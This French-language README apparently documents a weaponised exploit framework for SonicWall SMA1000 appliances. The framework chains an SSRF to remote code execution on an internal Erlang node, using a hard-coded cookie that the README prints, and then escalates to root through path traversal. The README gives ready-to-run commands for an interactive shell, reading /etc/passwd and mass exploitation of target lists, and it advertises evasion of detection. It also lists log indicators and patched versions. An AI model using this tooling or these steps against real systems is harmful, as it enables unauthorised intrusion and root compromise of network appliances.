
Framework multi-exploits pour SonicWall SMA1000 enchaînant SSRF (CVE-2026-15409) à une RCE Erlang et une élévation des privilèges root (CVE-2026-15410). Propose un shell interactif, une analyse par lots, des opérations sur les fichiers et un mode de détection sûr pour les tests d'intrusion autorisés.

Framework d'exploitation et outil de détection sûr
Uniquement pour les tests de sécurité autorisés.
Cet outil est fourni uniquement à des fins éducatives et de tests d'intrusion autorisés.
Les auteurs et contributeurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel. Les utilisateurs sont seuls responsables de s'assurer qu'ils disposent d'une autorisation écrite explicite du propriétaire de la cible avant de tester. L'accès non autorisé aux systèmes informatiques est illégal en vertu du Computer Fraud and Abuse Act (CFAA) et des lois similaires dans le monde entier.
En utilisant ce logiciel, vous acceptez de :
⚠️ AVERTISSEMENT : Cette vulnérabilité est activement exploitée dans la nature. Une utilisation non autorisée peut entraîner de graves conséquences juridiques.
CVE-2026-15409 est une vulnérabilité critique de Server-Side Request Forgery (SSRF) non authentifié découverte dans l'interface Work Place de l'appliance SonicWall SMA1000.
Comment cela fonctionne :
wsproxy.os:cmd/1.Informations clés :
exploit.py)L'exploit complet et militarisé enchaîne CVE-2026-15409 et CVE-2026-15410 pour obtenir un compromis au niveau root.
pip (pour la bibliothèque requests)pip install -r requirements.txt
# Interactive shell on target
python exploit.py -u 192.168.1.100
# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# Enable SSRF detection before exploitation
python exploit.py -u 192.168.1.100 --detect
# Attempt root privesc
python exploit.py -u 192.168.1.100 --privesc
# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /workplace
# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# Single target scan
python checker.py https://192.168.1.100
# Custom port and path
python checker.py 192.168.1.100 --port 8443 --path /workplace
# Mass scan from file
python checker.py --list targets.txt
⚠️ Important : Ces vulnérabilités n'affectent pas les pare-feu SonicWall (SSL-VPN) ni la série SMA 100.
Le point de terminaison wsproxy sur le port 443 accepte un paramètre bmID commençant par -3389 ainsi qu'une spécification host:port. En définissant host=127.0.0.1 et port=1050, les attaquants peuvent se tunneliser vers le service interne de distribution Erlang.
Le nœud Erlang utilise un cookie par défaut codé en dur : 10ecad5b446e86864832904cd439b6b70262. Cela permet l'authentification à distance et l'exécution de n'importe quel appel os:cmd/1.
Une fois authentifié, l'exploit écrit un script shell dans /var/tmp/ et déclenche le point de terminaison XML-RPC remove_hotfix de l'AMC avec un path traversal (../../../../var/tmp/script.sh), exécutant le script en tant que root.
SonicWall recommande de vérifier :
extraweb_access.log pour /__api__/login ou /__api__/logout (statut 200)extraweb_access.log pour /wsproxy avec des paramètres host suspects (statut 101)ctrl-service.log pour les rollbacks de hotfix avec path traversal/var/lib/unit/conf.json contenant des routes pour /__api__/login ou /__api__/logout| Fonctionnalité | Description |
|---|
| 🚀 SSRF → RPC Erlang | Se tunnelise automatiquement via wsproxy pour atteindre les nœuds Erlang internes. |
| 💻 Exécution de code à distance | Exécute des commandes OS arbitraires via os:cmd/1. |
| 🔐 Shell interactif | Génère un shell en direct avec prise en charge des commandes privesc et download. |
| 👑 Élévation de privilèges root | Tire parti de CVE-2026-15410 pour s'élever à root via le path traversal de l'AMC. |
| 📁 Opérations sur fichiers | Lit et écrit des fichiers sur le système cible. |
| 🌐 Analyse par lots | Exploite massivement plusieurs cibles avec le threading (option -l). |
| 🎯 Détection SSRF | Option --detect facultative pour une vérification sûre de la vulnérabilité. |
| ⚙️ Personnalisable | Remplace l'URL WebSocket, l'Origin, le User-Agent, le cookie, etc. |
| 🧩 Aucune dépendance supplémentaire | Utilise uniquement la bibliothèque standard Python (sauf requests optionnel pour la détection). |
| 🔌 Implémentation WebSocket brute | Aucune bibliothèque WebSocket externe — poignée de main personnalisée au niveau socket pour éviter les empreintes spécifiques aux bibliothèques et améliorer l'OPSEC. |
| Produit | Versions vulnérables | Versions corrigées |
|---|
| SMA 6210 | 12.4.3-03245, 12.4.3-03387, 12.4.3-03434 12.5.0-02283, 12.5.0-02624, 12.5.0-02800 | 12.4.3-03453+ 12.5.0-02835+ |
| SMA 7210 | Identique à ci-dessus | Identique à ci-dessus |
| SMA 8200v | Identique à ci-dessus | Identique à ci-dessus |